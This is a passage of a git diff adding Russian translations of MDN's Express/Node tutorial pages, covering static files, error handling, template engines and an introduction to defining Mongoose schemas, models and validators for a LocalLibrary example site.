обеспечению (порядок вызова промежуточного программного обеспечения основан на вашем порядке объявления).</span></span></p> + +<pre class="brush: js notranslate">app.use(express.static('public')); +app.use(express.static('media')); +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Вы также можете создать виртуальный префикс для ваших статических URL-адресов, вместо добавления файлов к базовому URL-адресу.</span> <span title="">Например, здесь мы указываем путь монтирования, чтобы файлы загружались с префиксом "/ media":</span></span></p> + +<pre class="brush: js notranslate">app.use('/media', express.static('public')); +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Теперь вы можете загружать файлы, находящиеся в публичном каталоге, из префикса / media path.</span></span></p> + +<pre class="notranslate"><code>http://localhost:3000/media/images/dog.jpg +http://localhost:3000/media/video/cat.mp4 +http://localhost:3000/media/cry.mp3</code> +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Для получения дополнительной информации см.</span></span> <a href="Serving static files in Express">Serving static files in Express</a>.</p> + +<h3 id="Обработка_ошибок"><span class="tlid-translation translation" lang="ru"><span title="">Обработка ошибок</span></span></h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Ошибки обрабатываются одной или несколькими специальными функциями промежуточного программного обеспечения, которые имеют четыре аргумента вместо обычных трех: (err, req, res, next).</span> <span title="">Например:</span></span></p> + +<pre class="brush: js notranslate">app.use(function(err, req, res, next) { + console.error(err.stack); + res.status(500).send('Something broke!'); +}); +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Они могут возвращать любой требуемый контент, но должны вызываться после всех других app.use () и маршрутизировать вызовы, чтобы они были последним промежуточным ПО в процессе обработки запросов!</span><br> + <br> + <span title="">Express поставляется со встроенным обработчиком ошибок, который заботится обо всех оставшихся ошибках, которые могут возникнуть в приложении.</span> <span title="">Эта промежуточная функция обработки ошибок по умолчанию добавляется в конец стека функций промежуточного программного обеспечения.</span> <span title="">Если вы передаете ошибку в next () и не обрабатываете ее в обработчике ошибок, она будет обработана встроенным обработчиком ошибок;</span> <span title="">ошибка будет записана клиенту с трассировкой стека.</span></span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Трассировка стека не включена в производственную среду.</span> <span title="">Чтобы запустить его в производственном режиме, необходимо установить переменную среды NODE_ENV в «производство».</span></span></p> +</div> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. HTTP404 и другие коды состояния «ошибка» не считаются ошибками.</span> <span title="">Если вы хотите справиться с этим, вы можете добавить функцию промежуточного программного обеспечения для этого.</span> <span title="">Для получения дополнительной информации см. FAQ.</span></span></p> +</div> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Для получения дополнительной информации см.</span></span> <a href="http://expressjs.com/en/guide/error-handling.html">Error handling</a> (Express docs).</p> + +<h3 id="Использование_баз_данных"><span class="tlid-translation translation" lang="ru"><span title="">Использование баз данных</span></span></h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Приложения Express могут использовать любой механизм базы данных, поддерживаемый Node (сам по себе Express не определяет каких-либо дополнительных действий / требований для управления базой данных).</span> <span title="">Есть много вариантов, включая PostgreSQL, MySQL, Redis, SQLite, MongoDB и т. Д.</span><br> + <br> + <span title="">Чтобы использовать их, вы должны сначала установить драйвер базы данных, используя NPM.</span> <span title="">Например, чтобы установить драйвер для популярной NoSQL MongoDB, вы должны использовать команду:</span></span></p> + +<pre class="brush: bash notranslate"><code>$ npm install mongodb +</code></pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Сама база данных может быть установлена локально или на облачном сервере.</span> <span title="">В вашем экспресс-коде вам требуется драйвер, подключиться к базе данных, а затем выполнить операции создания, чтения, обновления и удаления (CRUD).</span> <span title="">Пример ниже (из документации Express) показывает, как вы можете найти записи «млекопитающих», используя MongoDB.</span></span></p> + +<pre class="brush: js notranslate">var MongoClient = require('mongodb').MongoClient; + +MongoClient.connect('mongodb://localhost:27017/animals', function(err, db) { + if (err) throw err; + + db.collection('mammals').find().toArray(function (err, result) { + if (err) throw err; + + console.log(result); + }); +});</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Другим популярным подходом является косвенный доступ к вашей базе данных с помощью Object Relational Mapper («ORM»).</span> <span title="">При таком подходе вы определяете свои данные как «объекты» или «модели», и ORM отображает их в базовый формат базы данных.</span> <span title="">Этот подход имеет то преимущество, что как разработчик вы можете продолжать думать с точки зрения объектов JavaScript, а не семантики базы данных, и что есть очевидное место для выполнения проверки и проверки входящих данных.</span> <span title="">Подробнее о базах данных мы поговорим в следующей статье.</span></span></p> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Для получения дополнительной информации см.</span></span> <a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs).</p> + +<h3 id="Рендеринг_данных_просмотров"><span class="tlid-translation translation" lang="ru"><span title="">Рендеринг данных (просмотров)</span></span></h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Механизмы шаблонов (в Express называемые «механизмами просмотра») позволяют указывать структуру выходного документа в шаблоне, используя заполнители для данных, которые будут заполняться при создании страницы.</span> <span title="">Шаблоны часто используются для создания HTML, но могут также создавать другие типы документов.</span> <span title="">В Express есть поддержка ряда шаблонных движков, и здесь есть полезное сравнение более популярных движков: Сравнение шаблонизаторов JavaScript: Jade, Mustache, Dust и More.</span><br> + <br> + <span title="">В своем коде настроек приложения вы задаете механизм шаблонов для использования и место, где Express должен искать шаблоны, используя настройки «views» и «engine», как показано ниже (вам также нужно будет установить пакет, содержащий вашу библиотеку шаблонов).</span> <span title="">!</span><span title="">)</span></span></p> + +<pre class="brush: js notranslate">var express = require('express'); +var app = express(); + +// Set directory to contain the templates ('views') +app.set('views', path.join(__dirname, 'views')); + +// Set view engine to use, in this case 'some_template_engine_name' +app.set('view engine', 'some_template_engine_name'); +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Внешний вид шаблона будет зависеть от того, какой движок вы используете.</span> <span title="">Предполагая, что у вас есть файл шаблона с именем «index. <Template_extension>», который содержит заполнители для переменных данных с именами «title» и «message», вы должны вызвать Response.render () в функции обработчика маршрута для создания и отправки ответа HTML.</span> <span title="">:</span></span></p> + +<pre class="brush: js notranslate">app.get('/', function(req, res) { + res.render('index', { title: 'About dogs', message: 'Dogs rock!' }); +});</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Для получения дополнительной информации см.</span></span> <a href="http://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express docs).</p> + +<h3 id="Файловая_структура"><span class="tlid-translation translation" lang="ru"><span title="">Файловая структура</span></span></h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Express не делает никаких предположений относительно структуры или компонентов, которые вы используете.</span> <span title="">Маршруты, представления, статические файлы и другая логика конкретного приложения могут находиться в любом количестве файлов с любой структурой каталогов.</span> <span title="">Хотя вполне возможно иметь все приложения Express в одном файле, обычно имеет смысл разделить ваше приложение на файлы на основе функций (например, управление учетными записями, блоги, доски обсуждений) и проблемной области архитектуры (например, модель, представление или контроллер, если</span> <span title="">вы случайно используете</span></span> <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">MVC architecture</a>).</p> + +<p><span class="tlid-translation translation" lang="ru"><span title="">В более поздней теме мы будем использовать Express Application Generator, который создает модульный каркас приложения, который мы можем легко расширить для создания веб-приложений.</span></span></p> + +<ul> +</ul> + +<h2 id="Резюме">Резюме</h2> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Поздравляем, вы завершили первый шаг в своем путешествии Express / Node!</span> <span title="">Теперь вы должны понимать основные преимущества Express и Node, а также примерно то, как могут выглядеть основные части приложения Express (маршруты, промежуточное ПО, обработка ошибок и код шаблона).</span> <span title="">Вы также должны понимать, что с Express, который является непонятным фреймворком, то, как вы собираете эти части вместе, и библиотеки, которые вы используете, в значительной степени зависит от вас!</span><br> + <br> + <span title="">Конечно, Express - это очень легкая платформа для веб-приложений, поэтому большая часть ее преимуществ и возможностей обеспечивается сторонними библиотеками и функциями.</span> <span title="">Мы рассмотрим это более подробно в следующих статьях.</span> <span title="">В нашей следующей статье мы рассмотрим настройку среды разработки Node, чтобы вы могли увидеть некоторый код Express в действии.</span></span></p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="https://nodejs.org/api/modules.html#modules_modules">Modules</a> (Node API docs)</li> + <li><a href="https://expressjs.com/">Express</a> (home page)</li> + <li><a href="http://expressjs.com/en/starter/basic-routing.html">Basic routing</a> (Express docs)</li> + <li><a href="http://expressjs.com/en/guide/routing.html">Routing guide</a> (Express docs)</li> + <li><a href="http://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express docs)</li> + <li><a href="https://expressjs.com/en/guide/using-middleware.html">Using middleware</a> (Express docs)</li> + <li><a href="http://expressjs.com/en/guide/writing-middleware.html">Writing middleware for use in Express apps</a> (Express docs)</li> + <li><a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs)</li> + <li><a href="Serving static files in Express">Serving static files in Express</a> (Express docs)</li> + <li><a href="http://expressjs.com/en/guide/error-handling.html">Error handling</a> (Express docs)</li> +</ul> + +<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div> + +<div id="gtx-anchor" style="position: absolute; left: 20px; top: 6224px; width: 616.578px; height: 17px;"></div> + +<div class="jfk-bubble gtx-bubble"> +<div class="jfk-bubble-content-id" id="bubble-22"> +<div id="gtx-host" style="max-width: 400px;"></div> +</div> + +<div class="jfk-bubble-closebtn-id jfk-bubble-closebtn"></div> + +<div class="jfk-bubble-arrow-id jfk-bubble-arrow jfk-bubble-arrowup" style="left: 288.5px;"> +<div class="jfk-bubble-arrowimplbefore"></div> + +<div class="jfk-bubble-arrowimplafter"></div> +</div> +</div> diff --git a/files/ru/learn/server-side/express_nodejs/mongoose/index.html b/files/ru/learn/server-side/express_nodejs/mongoose/index.html new file mode 100644 index 0000000000..18cdb9922a --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/mongoose/index.html @@ -0,0 +1,800 @@ +--- +title: 'Учебник Express часть 3: Использование базы данных (с помощью Mongoose)' +slug: Learn/Server-side/Express_Nodejs/mongoose +translation_of: Learn/Server-side/Express_Nodejs/mongoose +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">В этой статье дается краткое введение в базы данных, и методика их использования в приложнениях Node/Express. Затем мы покажем, как можно использовать <a href="http://mongoosejs.com/">Mongoose</a> для доступа к базе данных веб-сайта <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a>. Мы объясним, как объявляются схемы и модели объектов, укажем основные типы полей, и методику базовой валидации. В статье также кратко показаны основные методы доступа к данным модели.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Предварительные сведения:</th> + <td><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Уметь спроектировать и создать свои модели, используя Mongoose.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p>Сотрудники библиотеки будут использовать сайт Local Library для хранения информации о книгах и абонентах, а абоненты библиотеки будут использовать его для просмотра и поиска книг, для получения информации о доступных копиях, для резервирования или одалживния книг. Чтобы эффективно хранить и извлекать информацию, мы будем хранить ее в базе данных.</p> + +<p>Express-приложения могут использовать различные базы данных, и есть несколько подходов, которые можно использовать для выполнения операций <strong>C</strong>reate, <strong>R</strong>ead, <strong>U</strong>pdate and <strong>D</strong>elete (CRUD) (создать, прочесть, обновить, удалить). В руководстве дан краткий обзор некоторых доступных опций, и детально рассмотрены некоторые механизмы работы.</p> + +<h3 id="Какие_базы_данных_можно_использовать">Какие базы данных можно использовать?</h3> + +<p><em>Express-</em>приложение может использовать любые базы данных, поддерживаемые <em>Node</em> (сам по себе Express не определяет каких-либо конкретных дополнительных свойств и требований для управления базами данных). Есть <a href="https://expressjs.com/en/guide/database-integration.html">много популярных </a>вариантов -- PostgreSQL, MySQL, Redis, SQLite, и MongoDB.</p> + +<p>При выборе базы данных следует учитывать такие факторы как время разработки, время обучения, простота репликации и копирования, расходы, поддержка сообщества и т. д. Хотя нет единственной "лучшей" базы данных, почти любое из популярных решений будет приемлемым для сайта малого и среднего размера, такого как наша Local Library.</p> + +<p>Более подробно о вариантах смотрите в: <a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs).</p> + +<h3 id="Каков_наилучший_способ_взаимодействия_с_базой_данных">Каков наилучший способ взаимодействия с базой данных?</h3> + +<p>Существует два подхода при работе с базой данных:</p> + +<ul> + <li>Использование родного языка запросов баз данных (т.е. SQL)</li> + <li>Использование объектной модели данных (ODM) или объектно-реляционной модели (ORM). ODM / ORM представлют данные веб-сайта как объекты JavaScript, которые затем отображаются на поддерживающую базу данных. Некоторые ORM привязаны к определенной базе данных, тогда как другие не зависят от конкретной базы данных.</li> +</ul> + +<p>Наилучшую производительность можно получить с помощью SQL или другого языка запросов, поддерживаемого базой данных. Объектные модели (ODM) часто медленнее, потому что требуют перевода объектов в формат базы данных, при этом не обязательно будут использованы наиболее эффективные запросы к базе данных (особенно, если ODM предназначена для различных баз данных и должна идти на большие компромиссы в смысле поддержки тех или иных функций базы данных).</p> + +<p>Преимущество применения ORM состоит в том, что программисты могут сосредоточиться на объектах JavaScript, а не на семантике базы данных — особенно, если требуется работать с разными базами данных (на одном или разных веб-сайтах). Они также дают очевидное место для валидации и проверки данных.</p> + +<div class="note"> +<p>Совет: Применение ODM / ORMs часто приводит к снижению затрат на разработку и обслуживание! Если Вы не очень хорошо знакомы с родным языком запросов или если производительность имеет первостепенное значение, следует серьезно рассмотреть возможность применения ODM.</p> +</div> + +<h3 id="Какую_модель_ORMODM_следует_использовать">Какую модель ORM/ODM следует использовать?</h3> + +<p>Есть много ODM/ORM доступных решений на сайте менеджера пакетов NPM (проверьте теги по подгруппе <a href="https://www.npmjs.com/browse/keyword/odm">odm</a> и <a href="https://www.npmjs.com/browse/keyword/orm">orm</a>).</p> + +<p>Популярные решения на момент написания статьи:</p> + +<ul> + <li><a href="https://www.npmjs.com/package/mongoose">Mongoose</a>: -- это средство моделирование обьектов базы данных <a href="https://www.mongodb.org/">MongoDB</a>, предназначенное для асинхронной работы.</li> + <li><a href="https://www.npmjs.com/package/waterline">Waterline</a>: ORM фреймворка <a href="http://sailsjs.com/">Sails</a> (основан на Express) . Она предоставляет единый API для доступа к множеству баз данных, в том числе Redis, mySQL, LDAP, MongoDB, и Postgres.</li> + <li><a href="https://www.npmjs.com/package/bookshelf">Bookshelf</a>: поддерживает как promise- так и традиционные callback- интерфейсы, поддержка транзакций, eager/nested-eager relation loading, полиморфные ассоциации, и поддержка, один к одному, один ко многим, и многие ко многим. Работает с PostgreSQL, MySQL, и SQLite3.</li> + <li><a href="https://www.npmjs.com/package/objection">Objection</a>: Делает настолько легким, насколько возможно, использование всей мощи SQL и движка базы данных ( поддерживает SQLite3, Postgres, и MySQL).</li> + <li><a href="https://www.npmjs.com/package/sequelize">Sequelize</a>: Основанная на промисах ORM для Node.js и <a href="https://ru.wikipedia.org/wiki/Io.js">io.js</a>. Поддерживает диалекты PostgreSQL, MySQL, MariaDB, SQLite и MSSQL, обладает надежной поддержкой транзакций, отношений, чтения копий и т.д.</li> + <li> + <p><a href="https://node-orm.readthedocs.io/en/latest/"><font color="#3d7e9a"><font face="Arial, x-locale-body, sans-serif"><font size="3">Node ORM2</font></font></font></a><font color="#333333"><font face="Arial, x-locale-body, sans-serif"><font size="3"> -- это OR менеджер для NodeJS. Поддерживает MySQL, SQLite и Progress, помогает работать с БД, используя объектный подход.</font></font></font></p> + </li> + <li> + <p><a href="http://1602.github.io/jugglingdb/"><font color="#3d7e9a"><font face="Arial, x-locale-body, sans-serif"><font size="3">JugglingDB</font></font></font></a><font color="#333333"><font face="Arial, x-locale-body, sans-serif"><font size="3"> -- это кросс-ДБ ORM для NodeJS, обеспечивающая общий интерфейс для доступа к наиболее популярным форматам БД. Поддерживает MySQL, SQLite3, Postgres, MongoDB, Redis и хранение данных в памяти js (собственный движок, только для тестирования).</font></font></font></p> + </li> +</ul> + +<p>Как правило, при выборе решения следует учитывать как предоставляемые функции, так и "деятельность сообщества" ( загрузки, вклад, отчеты об ошибках, качество документации, и т.д. ) . На момент написания статьи Mongoose являлась очень популярной ORM, и разумно, если вы выбрали MongoDB.</p> + +<h3 id="Применение_Mongoose_и_MongoDb_для_LocalLibrary">Применение Mongoose и MongoDb для LocalLibrary</h3> + +<p><span id="result_box" lang="ru"><span class="alt-edited">В примере LocalLibrary (и до конца раздела) мы будем использовать Mongoose ODM для доступа к данным </span></span><span lang="ru"><span class="alt-edited">нашей библиотеки.</span> <span class="alt-edited">Mongoose является интерфейсом для MongoDB, NoSQL-базы данных с открытым исходным кодом, в которой использована документо-ориентированная модель данных.</span> В <span class="alt-edited">MongoDB </span><span class="alt-edited">«коллекции» и «документы» -- это аналоги «таблиц» и «строк» в реляционных БД</span></span>.</p> + +<p><span id="result_box" lang="ru"><span>Это сочетание ODM и БД весьма популярно в сообществе Node, частично потому, что система хранения документов и запросов очень похожа на JSON и поэтому знакома разработчикам JavaScript</span></span>.</p> + +<div class="note"> +<p><span id="result_box" lang="ru"><span><strong>Совет</strong>: Не обязательно знать MongoDB, чтобы использовать Mongoose, хотя <a href="http://mongoosejs.com/docs/guide.html"> документацию Mongoose</a> легче использовать и понимать, если вы уже знакомы с MongoDB.</span></span></p> +</div> + +<p><span id="result_box" lang="ru"><span>Далее показано, как определить и получить доступ к схеме и моделям Mongoose для примера веб-сайта LocalLibrary.</span></span></p> + +<h2 id="Проектирование_моделей_LocalLibrary">Проектирование моделей LocalLibrary</h2> + +<p> </p> + +<p>Прежде чем начинать писать код моделей, стоит обдумать, какие данные нам нужно хранить, и каковы отношения между разными объектами.</p> + +<p>Мы знаем, что нужно хранить информацию о книгах (название, резюме (краткое описание), автор, жанр, ISBN (Международный стандартный книжный номер) ) и что может быть несколько доступных экземпляров (с уникальными идентификаторами, статусом наличия и т. д.). Может потребоваться хранить больше информации об авторе (не только имя, т.к. могут быть авторы с одинаковыми или похожими именами). Мы хотим иметь возможность сортировать данные по названиям книг, по авторам, по жанрам и категориям.</p> + +<p>При проектировании моделей имеет смысл иметь отдельные модели для каждого «объекта» (группы связанных данных). В этом случае очевидными объектами являются книги, экземпляры книг и авторы.</p> + +<p>Можно также использовать модели для представления параметров списка выбора (например, как выпадающий список вариантов), вместо жесткого кодирования выбора на самом веб-сайте - рекомендуется, когда не все параметры известны или могут быть изменены. Явный кандидат для модели такого типа -- это жанр книги (например, «Научная фантастика», «Французская поэзия» и т.д.),</p> + +<p>Как только мы определились с моделями и полями, следует подумать об отношениях между ними.</p> + +<p>С учетом сказанного, UML-диаграмма связей (см. ниже) показывает модели, которые представлены как прямоугольники. Мы решили, что создадим модели для книги (общие сведения о книге), для экземпляра книги (состояние отдельных физических копий книги, доступных в системе) и для автора. Кроме того, у нас будет модель для жанра, чтобы эти значения можно было создавать динамически. Решено не создавать модель для <code>BookInstance:status</code> — мы пропишем в коде необходимые значения, потому что не ожидаем их изменения. На элементах диаграммы показаны имя модели, имена и типы полей, имена методов и типы их результатов .</p> + +<p>Также показаны отношения между моделями, включая множественные отношения. Числа на линиях связи показывают максимум и минимум моделей, участвующих отношении. Например, линия между <code>Book</code> и <code>Genre</code> показывает, что <code>Book</code> и <code>Genre</code> связаны. Числа на этой линии рядом с моделью <code>Book</code> показывают, что жанр может быть связан с любым количеством книг, а числа на другом конце линии рядом с <code>Genre</code> отмечают, что книга может быть связана с любым количеством жанров.</p> + +<div class="note"> +<p><strong>Заметка</strong>: Как показано в примере<a href="#related_documents">Mongoose primer</a> ниже, часто лучше иметь поле, определяющее отношение между документами (моделями), только в одной модели (обратное отношение можно найти по присвоенному идентификатору <code>_id</code> в другой модели). Ниже мы предпочли задать отношения между Book/Genre и между Book/Author в схеме Book, а отношение между Book/BookInstance -- в схеме BookInstance. Этот выбор в некотором смысле был произвольным -- таким же хорошим мог бы быть выбор другого поля в другой схеме.</p> +</div> + +<p><img alt="Mongoose Library Model with correct cardinality" src="https://mdn.mozillademos.org/files/15645/Library%20Website%20-%20Mongoose_Express.png" style="height: 620px; width: 737px;"></p> + +<div class="note"> +<p><strong>Заметка</strong>: В следующем разделе дан базовый пример, в котором объясняется, как задавать и как использовать модели. При чтении обратите внимание, как будут создаваться модели, приведенные на диагарамме.</p> +</div> + +<h2 id="Mongoose_Справочник">Mongoose Справочник</h2> + +<p>В этом разделе кратко описано как подключиться к базе MongoDB с помощью Mongooseе, как определить схемы и модели, как сформировать основные запросы.</p> + +<div class="note"> +<p><strong> Примечание: </strong>На этот пример значительно повлияли документы <a href="https://www.npmjs.com/package/mongoose">Mongoose <font color="#3d7e9a"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><font size="3">quick start</font></font></font></a> на npm и <a href="http://mongoosejs.com/docs/guide.html">официальная документация.</a></p> +</div> + +<h3 id="Установка_Mongoose_и_MongoDB">Установка Mongoose и MongoDB</h3> + +<p>Mongoose устанавливается в ваш проект (<strong>package.json</strong>) как и другие зависимости - при помощи NPM. Команда установки (выполняется из каталога проекта): </p> + +<pre class="brush: bash"><code>npm install mongoose</code> +</pre> + +<p>Установка <em>Mongoose </em>добавит все зависимости, включая драйвер MongoDB, но не установит саму базу данных. При желании установить сервер MongoDB локально, можно <a href="https://www.mongodb.com/download-center">скачать установочный файл здесь</a> для своей операционной системы и установить его. Также можно использовать облако MongoDB.</p> + +<div class="note"> +<p><strong>Примечание:</strong> В примере для хранения базы данных мы используем облачный сервис <a href="https://mlab.com/plans/pricing/">sandbox tier</a> ("песочницу"). This is suitable for development, and makes sense for the tutorial because it makes "installation" operating system independent (database-as-a-service is also one approach you might well use for your production database).</p> +</div> + +<h3 id="Подключенние_к_MongoDB">Подключенние к MongoDB</h3> + +<p><em>Mongoose </em>требует подключение к MongoDB. Вы можете использовать require() и подключится к локальной БД при помощи <code>mongoose.connect(),</code> как показано ниже.</p> + +<pre class="brush: js">// Импортировать модуль mongoose +var mongoose = require('mongoose'); + +// Установим подключение по умолчанию +var mongoDB = 'mongodb://127.0.0.1/my_database'; +mongoose.connect(mongoDB); +// Позволим Mongoose использовать глобальную библиотеку промисов +mongoose.Promise = global.Promise; +// Получение подключения по умолчанию +var db = mongoose.connection; + +// Привязать подключение к событию ошибки (получать сообщения об ошибках подключения) +db.on('error', console.error.bind(console, 'MongoDB connection error:')); +</pre> + +<p>При помощи <code>mongoose.connection</code> можно получить стандартный объект <code>Connection</code>. После подключения в экземпляре <code>Connection</code> возникает событие open (открыт).</p> + +<div class="note"> +<p><strong>Tip:</strong> Если необходимо создать дополнительные подключения, можно использовать <code>mongoose.createConnection()</code>. При этом будут применены те же БД URI (хост, БД, порт, опции и т.д.), что и в <code>connect()</code> и будет возвращен объект <code>Connection</code>.</p> +</div> + +<h3 id="Определение_и_создание_моделей">Определение и создание моделей</h3> + +<p>Модели можно создать при помощи интерфейса <code>Schema</code> . Schema позволяет указать поля, которые будут в каждом документе, значения полей по умолчанию и требования по валидации. Кроме того, можно задать статические методы и методы-хелперы (от help), облегчающие работу с вашими типами данных, а также задать виртуальные свойства, которые можно использовать как и обычные поля, но без влияния на данные в самой базе данных.</p> + +<p>Схемы "компилируются " в окончательную модель методом <code>mongoose.model()</code>. После создания модели ее можно использовать для поиска, создания, обновления и удаления объектов данного типа.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Каждой модели соответствует <em>коллекция</em> <em>документов</em> в ДБ MongoDB. Документы будут содержать поля тех типов, которые заданы в модели <code>Schema</code>.</p> +</div> + +<h4 id="Определение_схем_данных">Определение схем данных</h4> + +<p>Код ниже показывает, как можно задать простую схему. Сначала при помощи <code>require()</code> создается объект mongoose, затем конструктор Schema создает новый экземпляр схемы, при этом различные поля задаются как параметры конструктора.</p> + +<pre class="brush: js">//Требуется Mongoose +var mongoose = require('mongoose'); + +//Определяем схему +var Schema = mongoose.Schema; + +var SomeModelSchema = new Schema({ + a_string: String, + a_date: Date +}); +</pre> + +<p>В примере созданы два поля, типа String и типа Date. В следующем разделе будут примеры полей других типов, их валидации и примеры других методов.</p> + +<h4 id="Создание_модели">Создание модели</h4> + +<p>Модели создаются из схем методом <code>mongoose.model()</code>:</p> + +<pre class="brush: js">// Определяем схему +var Schema = mongoose.Schema; + +var SomeModelSchema = new Schema({ + a_string: String, + a_date: Date +}); + +<strong>// Компилируем модель из схемы +var SomeModel = mongoose.model('SomeModel', SomeModelSchema );</strong></pre> + +<p>Первый аргумент - уникальное имя создаваемой для модели коллекции(Mongoose создаст коллекцию для модели <em>SomeModel</em>), второй аргумент - схема, которая используется для создания модели.</p> + +<div class="note"> +<p><strong>Заметка:</strong> После создания классов модели они могут применяться для создания, обновления или удаления записей в базе, для выполнения запросов по всем записям или по их подмножествам. Как это делать, будет показано в разделе <a href="#Using_models">Использование моделей</a>, и когда будут создаваться представления.</p> +</div> + +<h4 id="Типы_схемы_(поля)">Типы схемы (поля)</h4> + +<p>Схема может содержать любое количество полей, причем каждое поле будет полем документа, хранимого в БД <em>MongoDB</em>. Схема-пример содержит определения многих широко используемых типов полей.</p> + +<pre class="brush: js">var schema = new Schema( +{ + name: <strong>String</strong>, + binary: <strong>Buffer</strong>, + living: <strong>Boolean</strong>, + updated: { type: <strong>Date</strong>, default: Date.now }, + age: { type: <strong>Number</strong>, min: 18, max: 65, required: true }, + mixed: <strong>Schema.Types.Mixed</strong>, + _someId: <strong>Schema.Types.ObjectId</strong>, + array: <strong>[]</strong>, + ofString: [<strong>String</strong>], // You can also have an array of each of the other types too. + nested: { stuff: { type: <strong>String</strong>, lowercase: true, trim: true } } +})</pre> + +<p>Большинство типов в <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> (указаны после “type:” или после имен полей) достаточно очевидны. Исключения:</p> + +<ul> + <li><code>ObjectId</code>: Представляет отдельный экземпляр модели в БД. Например, book может ссылаться на объект- автора. Поле будет содержать уникальный идентификатор (<code>_id</code>) отдельного объекта. При необходимости использования этой информации применяют метод <code>populate()</code>.</li> + <li><a href="http://mongoosejs.com/docs/schematypes.html#mixed">Mixed</a>: Произвольный тип в схеме.</li> + <li><font face="Consolas, Liberation Mono, Courier, monospace">[]</font>: Массив элементов. В таких моделях можно выполнять JavaScript-операции для массивов (push, pop, unshift, etc.). Выше показан пример массивы объектов неопределенного типа и массив строк, но можно использовать массив объектов любого типа.</li> +</ul> + +<p>Код содержит также два способа объявления полей:</p> + +<ul> + <li><em>Имя</em> и <em>тип</em>поля как пара "ключ-значение" (поля <code>name</code>, <code>binary и</code> <code>living</code>).</li> + <li><em>Имя</em> поля, после которого указывается объект, определяющий <em>тип</em> и другие возможности поля, такие как: + <ul> + <li>значения по умолчанию.</li> + <li>встроенные валидаторы (например, значения max и min) и функции-валидаторы пользователя.</li> + <li>Является ли поле обязательным</li> + <li>Должны ли строковые поля автоматически преобразовываться в нижний или верхний регистр, удалять ли ведущие и хвостовые пробелы (<code>пример:</code> <code>{ type: <strong>String</strong>, lowercase: true, trim: true }</code>)</li> + </ul> + </li> +</ul> + +<p>Дополнительная информация - в <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> (документация Mongoose).</p> + +<h4 id="Валидация_(проверка_допустимости)">Валидация (проверка допустимости)</h4> + +<p>Mongoose предусматривает встроенные валидаторы, валидаторы пользователя, синхронные и асинхронные валидаторы. Во всех случаях можно задать допустимые диапазоны или значения, а также сообщения об ошибках при нарушении условий валидации.</p> + +<p>Встроенные валидаторы включают:</p> + +<ul> + <li>Все <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> имеют встроенный валидатор <a href="http://mongoosejs.com/docs/api.html#schematype_SchemaType-required">required</a>, который определяет, должно ли поле быть заданным перед сохранением документа.</li> + <li><a href="http://mongoosejs.com/docs/api.html#schema-number-js">Числа</a> имеют валидаторы <a href="http://mongoosejs.com/docs/api.html#schema_number_SchemaNumber-min">min</a> и <a href="http://mongoosejs.com/docs/api.html#schema_number_SchemaNumber-max">max</a>.</li> + <li><a href="http://mongoosejs.com/docs/api.html#schema-string-js">Строки</a> имеют: + <ul> + <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-enum">enum</a> (перечисления): задают множество допустимых для поля значений.</li> + <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-match">match</a> (соответствия)): задают регулярное выражение, которому должна соответствовать строка.</li> + <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-maxlength">maxlength</a>, <a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-minlength">minlength</a> -максимальная и минимальная длина строки.</li> + </ul> + </li> +</ul> + +<p>Пример ниже (с небольшими изменениями из документации Mongoose) показывает, как задать некоторые валидаторы и сообщения об ошибках:</p> + +<pre class="brush: js"><code> + var breakfastSchema = new Schema({ + eggs: { + type: Number, + min: [6, 'Too few eggs'], + max: 12 + required: [true, 'Why no eggs?'] + }, + drink: { + type: String, + enum: ['Coffee', 'Tea', 'Water',] + } + }); +</code></pre> + +<p>Подробная информация по валидации полей - в разделе <a href="http://mongoosejs.com/docs/validation.html">Validation</a> (документация Mongoose).</p> + +<h4 id="Виртуальные_свойства">Виртуальные свойства</h4> + +<p>Виртуальные свойства - это свойства документа, которые можно читать (get) и задавать (set), но которые не 